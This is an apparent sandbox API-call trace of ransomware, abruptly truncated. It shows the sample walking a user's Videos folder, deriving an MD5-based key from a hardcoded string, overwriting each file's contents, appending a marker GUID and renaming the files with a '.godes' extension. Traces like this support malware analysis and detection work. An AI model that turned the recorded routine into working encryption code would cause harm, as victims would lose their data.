1 [0114.657] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0114.657] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.657] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.657] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x171f1, lpOverlapped=0x0) returned 1 [0114.658] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.658] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0114.658] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.658] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.658] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0114.659] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.659] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.659] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.659] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0114.659] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.659] GetLastError () returned 0x0 [0114.659] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.659] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0114.659] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.659] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x171f0) returned 0x3323120 [0114.659] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.659] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.659] WriteFile (in: hFile=0x624, lpBuffer=0x3323120*, nNumberOfBytesToWrite=0x171ec, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3323120*, lpNumberOfBytesWritten=0x3b2fb24*=0x171ec, lpOverlapped=0x0) returned 1 [0114.660] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3323120 | out: hHeap=0x660000) returned 1 [0114.660] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x171f1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.660] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0114.660] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331e748 [0114.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331e748, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0114.660] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x331eb78 [0114.660] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0114.660] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0114.660] WriteFile (in: hFile=0x624, lpBuffer=0x331eb78*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x331eb78*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.660] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331eb78 | out: hHeap=0x660000) returned 1 [0114.660] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.660] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.660] CloseHandle (hObject=0x624) returned 1 [0114.661] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x3320330 [0114.661] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8b0) returned 0x331e748 [0114.661] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3320330 | out: hHeap=0x660000) returned 1 [0114.661] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\4L6Z\\3e8LyOG.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\4l6z\\3e8lyog.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\4L6Z\\3e8LyOG.avi.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\4l6z\\3e8lyog.avi.godes")) returned 1 [0114.662] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0114.662] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.663] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32518f0 | out: hHeap=0x660000) returned 1 [0114.663] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbaaea0d0, ftCreationTime.dwHighDateTime=0x1d4d245, ftLastAccessTime.dwLowDateTime=0xa5d81d80, ftLastAccessTime.dwHighDateTime=0x1d4ca52, ftLastWriteTime.dwLowDateTime=0xa5d81d80, ftLastWriteTime.dwHighDateTime=0x1d4ca52, nFileSizeHigh=0x0, nFileSizeLow=0x4383, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5Hyv.swf", cAlternateFileName="")) returned 1 [0114.663] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x7412f0 [0114.663] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xbe) returned 0x32518f0 [0114.663] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x7412f0 | out: hHeap=0x660000) returned 1 [0114.663] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\4L6Z\\5Hyv.swf") returned=".swf" [0114.663] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\4L6Z\\5Hyv.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\4l6z\\5hyv.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.664] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=17283) returned 1 [0114.664] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.666] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x435d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.666] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.667] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.668] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x4383, lpOverlapped=0x0) returned 1 [0114.668] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.668] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0114.668] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.668] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.668] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0114.669] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.669] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.669] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.669] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0114.669] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.669] GetLastError () returned 0x0 [0114.669] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.669] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0114.669] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.669] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x4380) returned 0x3323120 [0114.669] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.669] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.669] WriteFile (in: hFile=0x624, lpBuffer=0x3323120*, nNumberOfBytesToWrite=0x437e, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3323120*, lpNumberOfBytesWritten=0x3b2fb24*=0x437e, lpOverlapped=0x0) returned 1 [0114.670] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3323120 | out: hHeap=0x660000) returned 1 [0114.670] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x4383, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.670] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0114.670] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331e748 [0114.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331e748, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0114.670] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x331eb78 [0114.670] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0114.670] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0114.670] WriteFile (in: hFile=0x624, lpBuffer=0x331eb78*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x331eb78*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.670] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331eb78 | out: hHeap=0x660000) returned 1 [0114.670] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.670] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.670] CloseHandle (hObject=0x624) returned 1 [0114.671] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.671] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8a0) returned 0x331e748 [0114.671] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.671] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\4L6Z\\5Hyv.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\4l6z\\5hyv.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\4L6Z\\5Hyv.swf.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\4l6z\\5hyv.swf.godes")) returned 1 [0114.671] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0114.671] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.672] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32518f0 | out: hHeap=0x660000) returned 1 [0114.672] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1021c330, ftCreationTime.dwHighDateTime=0x1d4cc38, ftLastAccessTime.dwLowDateTime=0x11bb7790, ftLastAccessTime.dwHighDateTime=0x1d4d17e, ftLastWriteTime.dwLowDateTime=0x11bb7790, ftLastWriteTime.dwHighDateTime=0x1d4d17e, nFileSizeHigh=0x0, nFileSizeLow=0x16d84, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NHai0BU309Bkv-O-.avi", cAlternateFileName="NHAI0B~1.AVI")) returned 1 [0114.672] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x7412f0 [0114.672] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xbe) returned 0x32518f0 [0114.672] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x7412f0 | out: hHeap=0x660000) returned 1 [0114.672] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\4L6Z\\NHai0BU309Bkv-O-.avi") returned=".avi" [0114.672] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\4L6Z\\NHai0BU309Bkv-O-.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\4l6z\\nhai0bu309bkv-o-.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.673] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=93572) returned 1 [0114.673] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.674] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x16d5e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.675] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.676] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0114.676] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.676] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.676] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x16d84, lpOverlapped=0x0) returned 1 [0114.677] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.677] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0114.677] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.677] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.677] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0114.678] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.678] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.678] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.678] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0114.678] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.678] GetLastError () returned 0x0 [0114.678] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.678] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0114.678] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.678] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x16d80) returned 0x3323120 [0114.678] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.678] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.678] WriteFile (in: hFile=0x624, lpBuffer=0x3323120*, nNumberOfBytesToWrite=0x16d7f, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3323120*, lpNumberOfBytesWritten=0x3b2fb24*=0x16d7f, lpOverlapped=0x0) returned 1 [0114.679] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3323120 | out: hHeap=0x660000) returned 1 [0114.679] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x16d84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.679] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0114.679] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331e748 [0114.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331e748, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0114.679] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x331eb78 [0114.679] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0114.679] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0114.679] WriteFile (in: hFile=0x624, lpBuffer=0x331eb78*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x331eb78*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.679] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331eb78 | out: hHeap=0x660000) returned 1 [0114.679] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.679] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.679] CloseHandle (hObject=0x624) returned 1 [0114.680] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ea90 [0114.680] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8c0) returned 0x331e748 [0114.680] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ea90 | out: hHeap=0x660000) returned 1 [0114.680] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\4L6Z\\NHai0BU309Bkv-O-.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\4l6z\\nhai0bu309bkv-o-.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\4L6Z\\NHai0BU309Bkv-O-.avi.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\4l6z\\nhai0bu309bkv-o-.avi.godes")) returned 1 [0114.681] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0114.681] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.682] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32518f0 | out: hHeap=0x660000) returned 1 [0114.682] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cee75d0, ftCreationTime.dwHighDateTime=0x1d4c931, ftLastAccessTime.dwLowDateTime=0x1bc6c890, ftLastAccessTime.dwHighDateTime=0x1d4d0b4, ftLastWriteTime.dwLowDateTime=0x1bc6c890, ftLastWriteTime.dwHighDateTime=0x1d4d0b4, nFileSizeHigh=0x0, nFileSizeLow=0xba07, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OwRMCKP7D2.mkv", cAlternateFileName="OWRMCK~1.MKV")) returned 1 [0114.682] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x7412f0 [0114.682] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xbe) returned 0x32518f0 [0114.682] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x7412f0 | out: hHeap=0x660000) returned 1 [0114.682] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\4L6Z\\OwRMCKP7D2.mkv") returned=".mkv" [0114.682] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\4L6Z\\OwRMCKP7D2.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\4l6z\\owrmckp7d2.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.694] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=47623) returned 1 [0114.694] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.697] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xb9e1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.697] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.700] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0114.700] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.700] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.701] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0xba07, lpOverlapped=0x0) returned 1 [0114.702] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.702] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0114.702] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.702] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.702] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0114.704] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.704] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.704] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.704] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0114.704] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.704] GetLastError () returned 0x0 [0114.704] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.704] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0114.704] HeapFree (in: 